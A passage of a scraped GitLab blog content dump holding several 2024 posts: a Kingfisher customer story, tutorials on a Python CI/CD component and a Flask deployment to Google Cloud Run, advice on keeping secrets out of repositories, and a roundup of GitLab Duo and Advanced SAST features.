Years","en-us/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years.yml","en-us/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"_path":3899,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3900,"content":3905,"config":3911,"_id":3913,"_type":16,"title":3914,"_source":17,"_file":3915,"_stem":3916,"_extension":20},"/en-us/blog/kingfisher-transforming-the-developer-experience-with-gitlab",{"title":3901,"description":3902,"ogTitle":3901,"ogDescription":3902,"noIndex":6,"ogImage":1239,"ogUrl":3903,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3903,"schema":3904},"Kingfisher transforming the developer experience with GitLab","Learn how the international company focuses on DevSecOps, including automation, to reduce complexity in workflows for better efficiency.","https://about.gitlab.com/blog/kingfisher-transforming-the-developer-experience-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kingfisher transforming the developer experience with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2024-11-12\",\n      }",{"title":3901,"description":3902,"authors":3906,"heroImage":1239,"date":3908,"body":3909,"category":2702,"tags":3910},[3907],"Sharon Gaudin","2024-11-12","Kingfisher plc, an international home improvement company, has leaned into GitLab’s end-to-end platform to help it build a DevSecOps foundation that is revolutionizing its developer experience. And the company plans to continue that improvement by increasing its use of platform features, focusing on security, simplifying its toolchain, and increasing the use of automation.\n\n> \u003Cimg align=\"left\" width=\"200\" height=\"200\" hspace=\"5\" vspace=\"5\" alt=\"Chintan Parmar\" src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176076/Blog/ro7u8p695zw9fllbk4j5.png\" style=\"float: left; margin-right: 25px;\"> “The whole point of this is to reduce friction for our engineers, taking away a lot of the complexity in their workflow, and bringing in best practices and governance,” says Chintan Parmar, site reliability engineering manager at Kingfisher. “In terms of what we've done and what we're doing at the moment, it really is about building a foundation in terms of CI/CD and changing the way we deploy to bring in consistency and improve the developer experience.”\n\nParmar talked about his team and their efforts during the [GitLab DevSecOps World Tour event](https://about.gitlab.com/events/devsecops-world-tour/) in London last month. In an on-stage interview with Sherrod Patching, vice president of Customer Success Management at GitLab, he laid out Kingfisher’s journey with the platform, which is enabling its teams, while also making it easier and faster to move software updates and new projects from ideation to deployment.\n\n[Kingfisher](https://www.kingfisher.com/en/index.html) is a parent company with more than 2,000 stores in eight countries across Europe. Listed on the London Stock Exchange and part of the Financial Times Stock Exchange (FTSE) 100 Index, the group reported £13 billion in total revenue in FY 2023/24. Its brands include B&Q, Screwfix, Castorama, and Brico Depot. \n\nThe company first adopted GitLab in 2016, using a free starter license, and then moved to Premium in 2020. In that time, it also has moved from on-premise to a cloud environment, started using shared GitLab runners and source code management, and began building out a CI/CD library that gives team members easy access to standardized and reusable components for typical pipeline stages, such as build, deploy, and test.\n\n## Tracking metrics that execs care about\n\nKingfisher also is tracking metrics, like deployment frequency, lead time to change, and change failure rates, with GitLab. And teams are analyzing value streams, mapping workflows, and finding bottlenecks. All of those metrics are being translated into data that company leaders can sink their teeth into. \n\n“Execs may not care about whether a merge request has been waiting 15 or 20 minutes, but they do care about how we translate that time value into dollars or pounds,” says Parmar, who used GitLab when he previously worked at [Dunelm Group, plc,](https://about.gitlab.com/customers/dunelm/) another major UK-based retailer. “Kingfisher is a very data-driven organization. We are looking to overlay these metrics to see where we can continue to improve our developer experience, eliminating slowdowns and manual tasks, while increasing automation.”\n\nWhile on-stage, Parmar made it clear that all the changes being made are aimed at improving software development and deployment. However, it’s equally paramount to making team members’ jobs easier, giving them more time and autonomy to do the kind of work they enjoy, instead of what can seem like a never-ending stream of repetitive, manual tasks. He noted that the team is so focused on easing workflows and giving engineers more time to be innovative, it has created a “developer experience squad.”\n\n## Putting people first while laying out priorities\n\nSo what’s coming next for Kingfisher and its engineering squads, which have about 600 practitioners?  \n\nAccording to Parmar, Kingfisher already has its priorities mapped out. Using GitLab to [move security left](https://about.gitlab.com/solutions/security-compliance/) is at the top of their list. The group also is focused on continuing to reduce its toolchain, and using automation to increase productivity. And he expects that early in 2025, teams will begin “dabbling” with the artificial intelligence capabilities in [GitLab Duo](https://about.gitlab.com/gitlab-duo/), a suite of AI-powered features in the platform that help increase velocity and solve key pain points across the software development lifecycle. Kingfisher will focus on how that can further increase its efficiency and productivity. \n\nTo get all of this done, Parmar says the first step is to ensure that people come first.\n\n“We’re focused on the hearts and minds of our people... and remembering that people can be attached to how they work through pipelines,” he adds. “People have different ways of building their pipelines. We need to understand what they need, what their workflows look like, and then work with them to find the right solution. After, we’ll go back to them with data that shows the improvements worked. So instead of telling them what they need, we find out what that is, and fix what’s slowing them down. That builds a very good rapport with our engineers.”\n\nChanging how a team creates and deploys software is a journey. Parmar suggests that collaboratively taking developers and security teams on that journey, instead of dragging them along, makes a big difference in ease of migration and in easing team members’ user experience.\n\n> Learn [how other GitLab customers use the DevSecOps platform](https://about.gitlab.com/customers/) to gain results for customers.\n",[2705,479,943,1444],{"slug":3912,"featured":92,"template":678},"kingfisher-transforming-the-developer-experience-with-gitlab","content:en-us:blog:kingfisher-transforming-the-developer-experience-with-gitlab.yml","Kingfisher Transforming The Developer Experience With Gitlab","en-us/blog/kingfisher-transforming-the-developer-experience-with-gitlab.yml","en-us/blog/kingfisher-transforming-the-developer-experience-with-gitlab",{"_path":3918,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3919,"content":3925,"config":3930,"_id":3932,"_type":16,"title":3933,"_source":17,"_file":3934,"_stem":3935,"_extension":20},"/en-us/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component",{"title":3920,"description":3921,"ogTitle":3920,"ogDescription":3921,"noIndex":6,"ogImage":3922,"ogUrl":3923,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3923,"schema":3924},"Tutorial: How to set up your first GitLab CI/CD component","Use Python scripts in your GitLab CI/CD pipelines to improve usability. In this step-by-step guide, you'll learn how to get started building your own CI/CD component.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098410/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2826%29_3lH4gZFVIGCndksN6Rlg85_1750098409928.png","https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: How to set up your first GitLab CI/CD component\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sophia Manicor\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2024-11-12\",\n      }",{"title":3920,"description":3921,"authors":3926,"heroImage":3922,"date":3908,"body":3928,"category":734,"tags":3929},[3927,2621],"Sophia Manicor","Do you use Python scripts in your GitLab CI pipelines? Do you want to create pipelines at scale? This tutorial shows how to set up your first [GitLab CI/CD component](https://docs.gitlab.com/ee/ci/components/) to deploy Python scripts. \n\nA [CI/CD component is a reusable single pipeline configuration unit](https://about.gitlab.com/blog/introducing-ci-components/). Use components to create a small part of a larger pipeline, or even to compose a complete pipeline configuration.\n\n# Prerequisites\n- Basic Python knowledge\n- Working knowledge of GitLab CI\n- 8 minutes\n\n## Python script \n\n* **[The demo Python script](https://gitlab.com/demos/templates/gitlab-python-cicd-component/-/blob/main/src/script.py?ref_type=heads)**\n\nThis Python script utilizes a library called [ArgParse](https://docs.python.org/3/library/argparse.html) . ArgParse allows you to pass variables to script through the command line. This script takes in three arguments:\n[Python_container_image](https://docs.gitlab.com/ee/ci/yaml/#image): This is the Python container image you wish to use.\n[Stage](https://docs.gitlab.com/ee/ci/yaml/#stage): This is the GitLab CI stage in which you job will run in. \nName: This is your name.\n\n```python\nimport argparse\n\nparser = argparse.ArgumentParser(description='Python CICD Component Boilerplate')\nparser.add_argument('python_container_image', type=str, help='python:3.10-slim')\nparser.add_argument('stage', type=str, help='Build')\nparser.add_argument('persons_name', type=str, help='Noah')\nargs = parser.parse_args()\n\npython_container_image = args.python_container_image\nstage = args.stage\npersons_name = args.persons_name\n```\n\nThis will take in these three variables and print out simple statements:\n\n```python\nprint(\"You have chosen \" + python_container_image + \" as the container image\")\nprint(\"You have chosen \" + stage + \" as the stage to run this job\")\nprint(\"Thank you \" + persons_name + \"! you are succesfully using GitLab CI with a Python script.\")\n```\n\nTo test this script locally, you can call on the script by utilizing the following command:\n\n```bash\npython3 src/script.py python_container_image stage name\n```\n\nModify this script accordingly if you’d like to add in your own arguments!\n\n## Template \n\n* **[Demo of template](https://gitlab.com/demos/templates/gitlab-python-cicd-component/-/blob/main/templates/template.yml?ref_type=heads)**\n\n**Note:** As long as the `gitlab-ci.yml` is placed in the templates/directory, the CI/CD component will know to pick it up. We named our template `templates.yml`, but any name would work for this YAML file.\n\nNow, getting into the fun part of CI/CD components, inputs!  [Inputs](https://docs.gitlab.com/ee/ci/yaml/inputs.html) allow you to pass through variables into your pipeline. \n\n```yml\nspec:\n  inputs:\n    python_container_image:\n      default: python:3.10-slim\n      description: \"Define any python container image\"\n    stage:\n      default: build\n      description: \"Define the stage this job will run in\"\n    persons_name:\n      default: Noah\n      description: \"Put your name here\"\n```\nHere we have defined the three inputs that are our arguments in our Python script. You can see for each input we have added in a default value – this will be what the input is set to if not overridden. If we took out this default keyword the input would become mandatory when we use our component. As it is written now, adding in these inputs when we use our component is optional due to our default values.\n\nWe can also set descriptions to ensure that other developers can understand what to input when they use our component. Descriptions are optional but they provide self documentation within the code itself, which is always nice.\n\nAfter we set up our inputs, let’s write the rest of our component:\n\n```yml\ncomponent:\n  image: $[[ inputs.python_container_image ]]\n  stage: $[[ inputs.stage ]]\n  before_script:\n    - pip3 install -r src/requirements.txt\n  script: python3 src/script.py $[[ inputs.python_container_image ]] $[[ inputs.stage ]] $[[ inputs.persons_name ]]\n```\n\nTo use inputs in our component, we need to use the syntax `$[[ inputs.$VARIABLE ]]`. In the above code, you can see that we use inputs to define our image and stage with  `$[[ inputs.python_container_image ]]` and   `$[[ inputs.stage ]] `.\n\n```\nscript: python3 src/script.py $[[ inputs.python_container_image ]] $[[ inputs.stage ]] $[[ inputs.persons_name ]]\n```\nDiving into the script section, you can see we call upon our Python script.. We are able to pass our inputs in with the help of the ArgParse.\n\nNow that you have reviewed how the Python script works and the template has been set up, it is time to use the component!\n\n## Using the component \n\n* **[A demo of including the component](https://gitlab.com/demos/templates/gitlab-python-cicd-component/-/blob/main/.gitlab-ci.yml?ref_type=heads)\n\nIn order to utilize the CI/CD component we just created, we need to include it in the `.gitlab-ci.yml` file that is in the root of our directory. \n\n```\ninclude:\n  # include the component located in the current project from the current SHA\n  - component: $CI_SERVER_FQDN/$CI_PROJECT_PATH/template@$CI_COMMIT_SHA\n    inputs:\n      python_container_image: python:3.11-slim\n      stage: test\n      persons_name: Tanuki\n```\n\nOne way to include it is to call upon it locally in the current project from the current `Commit SHA`. You can find other ways to [reference a component in our documentation](https://docs.gitlab.com/ee/ci/components/#use-a-component).\n\nTo override the defaults, we have passed in other inputs so we get the correct image, stage, and name for our job. \n\nTry and change the `persons_names` to your own and watch the pipeline run!\n\n![ci/cd component tutorial - pipeline running](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098419/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098418901.png)\n\nVoila! You have learned how to set up a basic C/ICD component utilizing a Python ArgParse script!\n\n## What's next?\nIn the Python script, there is a commented out GitLab Python library and OS library. If you would like to interact with the GitLab API, you can uncomment these and add in a [GitLab personal access token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) to the [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) named `GLPAT`.\n\n```\nimport gitlab\nimport os\n```\nAfterwards you can then interact with the GitLab API.\n\n```\nglpat = os.environ['GLPAT']\n\ngl = gitlab.Gitlab(private_token=glpat)\n# SELF_HOSTED gl = gitlab.Gitlab(url='https://gitlab.example.com', private_token='xxxxxxxxxxxxxx')\ntry:\n   projects = gl.projects.list(get_all=True)\n   print(projects)\nexcept Exception as error:\n   print(\"Error:\", error)\n```\n\n> Learn more about CI/CD components and how to avoid building pipelines from scratch with the [GitLab CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/). \n\n## Read more\n\n- [FAQ: GitLab CI/CD Catalog](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/)\n- [Introducing CI/CD Steps, a programming language for DevSecOps automation](https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation/)\n- [A CI/CD component builder's journey](https://about.gitlab.com/blog/a-ci-component-builders-journey/)\n",[110,696,943,2488],{"slug":3931,"featured":92,"template":678},"tutorial-how-to-set-up-your-first-gitlab-ci-cd-component","content:en-us:blog:tutorial-how-to-set-up-your-first-gitlab-ci-cd-component.yml","Tutorial How To Set Up Your First Gitlab Ci Cd Component","en-us/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component.yml","en-us/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component",{"_path":3937,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3938,"content":3944,"config":3950,"_id":3952,"_type":16,"title":3953,"_source":17,"_file":3954,"_stem":3955,"_extension":20},"/en-us/blog/fast-python-flask-server-deployment-with-gitlab-google-cloud",{"title":3939,"description":3940,"ogTitle":3939,"ogDescription":3940,"noIndex":6,"ogImage":3941,"ogUrl":3942,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3942,"schema":3943},"Fast Python Flask server deployment with GitLab + Google Cloud","This tutorial shows how to use GitLab’s Google Cloud integration to deploy a Python Flask server in less than 10 minutes, helping developers become more independent and efficient.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098427/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945_fJKX41PJHKCfSOWw4xQxm_1750098427691.png","https://about.gitlab.com/blog/fast-python-flask-server-deployment-with-gitlab-google-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Fast Python Flask server deployment with GitLab + Google Cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Noah Ing\"},{\"@type\":\"Person\",\"name\":\"Jerez Solis\"}],\n        \"datePublished\": \"2024-11-04\",\n      }",{"title":3939,"description":3940,"authors":3945,"heroImage":3941,"date":3946,"body":3947,"category":734,"tags":3948},[2621,2622],"2024-11-04","Deploying an application to the cloud often requires assistance from production or DevOps engineers. GitLab's Google Cloud integration empowers developers to handle deployments independently. In this tutorial, you'll learn how to deploy a Python Flask server to Google Cloud in less than 10 minutes. Whether you’re a solo developer or part of a large team, this setup allows you to deploy applications efficiently.\n\nYou'll learn how to:\n\n- Create a new project in GitLab\n- Create a Flask server utilizing `main.py`\n- Utilize the Google Cloud integration to create a Service account\n- Utilize the Google Cloud integration to create Cloud Run via a merge request\n- Access your newly deployed Flask server\n- Clean up your environment\n\n## Prerequisites:\n- Owner access on a Google Cloud Platform project\n- Working knowledge of Python\n- Working knowledge of GitLab CI\n- 10 minutes\n\n## Step-by-step Python Flask server deployment to Google Cloud\n\n**1. Create a new project in GitLab.**\n\nWe decided to call our project \"python-flask-cloud-run\" for simplicity.\n\n![python flask server - create a new project in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098438036.png)\n\n**2. Create a flask server utilizing main.py demo.**\n\nFind the `main.py` demo here: [https://gitlab.com/demos/applications/python-flask-cloud-run](https://gitlab.com/demos/applications/python-flask-cloud-run).\n\n```python\nimport os\n\nfrom flask import Flask\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello_world():\n    \"\"\"Example Hello World route.\"\"\"\n    name = os.environ.get(\"NAME\", \"World\")\n    return f\"Hello {name}!\"\n\nif __name__ == \"__main__\":\n    app.run(debug=True, host=\"0.0.0.0\", port=int(os.environ.get(\"PORT\", 8080)))\n```\n\n**3. Create a `requirements.txt` with the following dependencies.**\n\n```\nFlask==3.0.3\ngunicorn==22.0.0\nWerkzeug==3.0.3\n```\n\n**4. Utilizing the Google Cloud integration, create a Service account.**\n\nNavigate to **Operate > Google Cloud > Create Service account**.\n\n![python flask server - create service account](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098438037.png)\n\n**5. Also configure the region you would like the Cloud Run instance to deploy to.**\n\n![python flask server - configure the region](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098438038.png)\n\n**6. Utilizing the Google Cloud integration, configure Cloud Run via merge request.**\n\n![python flask server - deployments](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098438041.png)\n\n**7. This will open a merge request. Immediately merge this merge request.**\n\n![python flask server - enable deployments to Cloud Run](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098438043.png)\n\n**Note:** `GCP_PROJECT_ID`, `GCP_REGION`, `GCP_SERVICE_ACCOUNT`, `GCP_SERVICE_ACCOUNT_KEY` will all be automatically populated from the previous steps.\n\n![python flask server - variables](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098438044.png)\n\n**8. Voila! Check your pipeline and you will see you have successfully deployed to Google Cloud Run utilizing GitLab CI.**\n\n![python flask server - update dockerfile](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098438045.png)\n\n\u003Cbr>\u003C/br>\n\n![python flask server - dockerfile](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098438046.png)\n\n**9. Click the Service URL to view your newly deployed Flask server.**\n\nNavigate to **Operate > Environments** to see a list of deployments for your environments.\n\n![python flask server - deployments list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098438047.png)\n\nBy clicking on the environment called **main**, you’ll be able to view a complete list of deployments specific to that environment.\n\n![python flask server - main job listing](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098438/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098438048.png)\n\n## Next steps\n\nTo get started with developing your Flask application, try adding another endpoint. For instance, in your `main.py` file, you can add a **/bye** endpoint as shown below:\n\n```\n@app.route(\"/\")\ndef hello_world():\n    \"\"\"Example Hello World route.\"\"\"\n    name = os.environ.get(\"NAME\", \"World\")\n    return f\"Hello {name}!\"\n\n```\n\nPush the changes to the repo, and watch the `deploy-to-cloud-run` job deploy the updates. Once it’s complete, go back to the Service URL and navigate to the **/bye** endpoint to see the new functionality in action.\n\n## Clean up\n\nTo prevent incurring charges on your Google Cloud account for the resources used in this tutorial, you can either delete the specific resources or delete the entire Google Cloud project. For detailed instructions, refer to the [cleanup guide](https://docs.gitlab.com/ee/tutorials/create_and_deploy_web_service_with_google_cloud_run_component/#clean-up).\n\n> For more DevSecOps capabilities, [start a free 60-day trial of GitLab Ultimate and GitLab Duo](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/blog/%2F).",[696,3949,923,2488],"cloud native",{"slug":3951,"featured":92,"template":678},"fast-python-flask-server-deployment-with-gitlab-google-cloud","content:en-us:blog:fast-python-flask-server-deployment-with-gitlab-google-cloud.yml","Fast Python Flask Server Deployment With Gitlab Google Cloud","en-us/blog/fast-python-flask-server-deployment-with-gitlab-google-cloud.yml","en-us/blog/fast-python-flask-server-deployment-with-gitlab-google-cloud",{"_path":3957,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3958,"content":3964,"config":3969,"_id":3971,"_type":16,"title":3972,"_source":17,"_file":3973,"_stem":3974,"_extension":20},"/en-us/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories",{"title":3959,"description":3960,"ogTitle":3959,"ogDescription":3960,"noIndex":6,"ogImage":3961,"ogUrl":3962,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3962,"schema":3963},"Best practices to keep secrets out of GitLab repositories","Learn strategies to secure secrets and what to do if secrets are accidentally leaked in a GitLab repository.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","https://about.gitlab.com/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Best practices to keep secrets out of GitLab repositories\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2024-10-31\",\n      }",{"title":3959,"description":3960,"authors":3965,"heroImage":3961,"date":3966,"body":3967,"category":674,"tags":3968},[1403],"2024-10-31","The GitLab security team is aware of a [blog post](https://sysdig.com/blog/emeraldwhale/) from Sysdig describing how attackers scan public repositories to identify exposed credentials in Git config files. GitLab consistently recommends its customers and users follow several best practices to [harden their public GitLab projects](https://about.gitlab.com/security/hardening/) to prevent unintentional leaks of their credentials in Git config files or elsewhere in public projects. \n\n1\\. [Limit public visibility of GitLab Groups and Projects](https://about.gitlab.com/security/hardening/#limit-public-visibility-of-your-groups-and-projects)  \nGitLab recommends setting the default visibility for new GitLab projects and groups to private by default. Configuring the default project and group visibility settings to private for your GitLab instance may help prevent accidental disclosure of information in a public project that was intended to be private. \n\n2\\. [Secure CI secrets](https://about.gitlab.com/security/hardening/#secure-your-ci-secrets)  \nAny secrets that require protection, including passwords and tokens, should never be stored in plaintext. Encryption container technologies (Secrets Managers) should be leveraged to help store secrets securely. Some examples of secret manager tools include GCP Secret Manager, AWS KMS, and HashiCorp Vault. \n\n3\\. [Leverage GitLab Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/)  \nGitLab employs several secret detection capabilities to identify, block, or warn users about potential secrets stored in GitLab repositories. Secret detection monitors your activity to help prevent you from leaking secrets and enables you to respond if a secret is leaked. \n\n## Enable secret detection methods  \n\nAll available GitLab [secret detection methods](https://docs.gitlab.com/ee/user/application_security/secret_detection/) should be enabled:   \n- [Secret push protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/index.html) scans commits for secrets when you push changes to GitLab. The push is blocked if secrets are detected unless you skip secret push protection. This method helps reduce the risk of secrets being leaked.  \n- [Pipeline secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html) runs as part of a project’s CI/CD pipeline. Commits to the repository’s default branch are scanned for secrets. If pipeline secret detection is enabled in merge request pipelines, commits to the development branch are scanned for secrets, enabling you to respond before they’re committed to the default branch.  \n- [Client-side secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/client/index.html) scans descriptions and comments in both issues and merge requests for secrets before they’re saved to GitLab. When a secret is detected, you can choose to edit the input and remove the secret or, if it’s a false positive, save the description or comment.\n\n## What to do if you accidentally leak credentials  \nIn the event of an accidental secret exposure, you should reset the exposed credential and review access logs to identify if there is evidence of credential misuse or abuse. If the leaked secret was a GitLab personal access token or other secret token type, you should [revoke the token and review GitLab logs](https://docs.gitlab.com/ee/security/responding_to_security_incidents.html#credential-exposure-to-public-internet) for any unauthorized activity associated with the exposed token.",[674],{"slug":3970,"featured":92,"template":678},"best-practices-to-keep-secrets-out-of-gitlab-repositories","content:en-us:blog:best-practices-to-keep-secrets-out-of-gitlab-repositories.yml","Best Practices To Keep Secrets Out Of Gitlab Repositories","en-us/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories.yml","en-us/blog/best-practices-to-keep-secrets-out-of-gitlab-repositories",{"_path":3976,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3977,"content":3983,"config":3988,"_id":3990,"_type":16,"title":3991,"_source":17,"_file":3992,"_stem":3993,"_extension":20},"/en-us/blog/3-gitlab-features-to-level-up-devsecops-workflows",{"title":3978,"description":3979,"ogTitle":3978,"ogDescription":3979,"noIndex":6,"ogImage":3980,"ogUrl":3981,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3981,"schema":3982},"3 GitLab features to level up DevSecOps workflows","Fix broken pipelines faster, better understand security vulnerabilities, and filter out false positives with our latest platform improvements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665762/Blog/Hero%20Images/blog-gl17-release-hero-17-0-93-1800x945-fy25__1_.png","https://about.gitlab.com/blog/3-gitlab-features-to-level-up-devsecops-workflows","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 GitLab features to level up DevSecOps workflows\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Salman Ladha\"}],\n        \"datePublished\": \"2024-10-29\",\n      }",{"title":3978,"description":3979,"authors":3984,"heroImage":3980,"date":3985,"body":3986,"category":695,"tags":3987},[750],"2024-10-29","Last month, we, along with the GitLab community, introduced more than 140 improvements to our AI-powered DevSecOps platform to help you build better and more secure software, faster. With that much product innovation, we know it can be difficult to keep track of the latest GitLab has to offer. So, each quarter, we’re spotlighting the most impactful capabilities to help you consolidate toolchains, boost development efficiency, and improve application security. Here are three new features [released in GitLab](https://about.gitlab.com/releases/categories/releases/) over the past few months that make an immediate impact on your software development.\n\n > Learn why GitLab was named a Leader in the [2024 Gartner® Magic Quadrant™ for DevOps Platforms](https://about.gitlab.com/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops/) and the [2024 Gartner® Magic Quadrant™ for AI Code Assistants](https://about.gitlab.com/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants/).\n\n## Root Cause Analysis: Diagnose broken pipelines faster\n\n[Developers spend less than a quarter of their time on code creation](https://about.gitlab.com/developer-survey/), according to our 2024 Global DevSecOps Survey. The bulk of their time is consumed by administrative tasks, planning, and troubleshooting — many of which can be accelerated with AI.\n\nFor example, diagnosing broken pipelines is a frustrating task for developers, which requires them to tediously scour through dense log files to identify the cause of the error. This often leads to trial-and-error fixes, sleuthing for solutions on Google, or asking a peer for support. This is a practical scenario where [GitLab Duo Root Cause Analysis](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/) can meaningfully help developers.\n\nRoot Cause Analysis analyzes log files to uncover the core issue behind an error message in a CI/CD pipeline. Not only does it provide teams with insight into what caused the issue, but it also suggests a fix to help resolve the issue faster.\n\nWith less time spent on troubleshooting, developers can focus on building differentiated products to help their organizations win.\n\nGitLab Duo Root Cause Analysis is available as a [GitLab Duo Enterprise add-on](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=JZSgd7GTTk4y6mre\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Vulnerability Explanation: Quickly understand security risks\n\nWe know that developers are playing [an even greater role in the remediation of security vulnerabilities](https://about.gitlab.com/developer-survey/). However, not every developer is well-versed in cybersecurity or has a working knowledge of the tactics, techniques, and procedures a threat actor will use to exploit an application. This creates a knowledge gap, which is exposed when vulnerabilities are uncovered.\n\n[GitLab Duo Vulnerability Explanation](https://about.gitlab.com/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) bridges the knowledge gap between security and development teams. It gives developers a detailed description of the vulnerability infecting their code, real-world examples of how attackers can exploit the vulnerable code, and practical suggestions for remediation.\n\nWith this feature, you can level up your security skills, resolve vulnerabilities faster, and help create a proactive security culture — all while lightening the load on your security teams.\nGitLab Duo Vulnerability Explanation is available as a [GitLab Duo Enterprise add-on](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/MMVFvGrmMzw?si=Zsx-91078XSNNUSm\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Advanced SAST: Filter out the noise\n\nFalse positives are a [top frustration](https://about.gitlab.com/developer-survey/2024/security-compliance/) for both security and development teams. Unfortunately, this is a common complaint of traditional Static Application Security Testing (SAST). While SAST is great at integrating security early in the software development lifecycle, its value diminishes when it produces inaccurate results. “Drowning in a backlog of vulnerabilities” is a reality for many security and development teams, often resulting in tension between them.\n\n[Advanced SAST](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/), our newest security scanner, uses a proprietary detection engine with rules informed by in-house security research to identify exploitable vulnerabilities. It delivers more accurate results, so security and development teams don’t have to sort through the noise of false-positive results, shortening triage time, improving development velocity, and decreasing friction between teams.\n\nAdvanced SAST is available in the [GitLab Ultimate tier](https://about.gitlab.com/pricing/ultimate/).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xDa1MHOcyn8?si=Ff4HjNpvv5eXsSNH\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Put these features to work today\n\nAt GitLab, we’re committed to making it easier for teams to build software, faster. Capabilities like GitLab Duo Root Cause Analysis, GitLab Duo Vulnerability Explanation, and GitLab Advanced SAST are just a few of the recent innovations we’ve delivered to help developers and security teams level up their DevSecOps 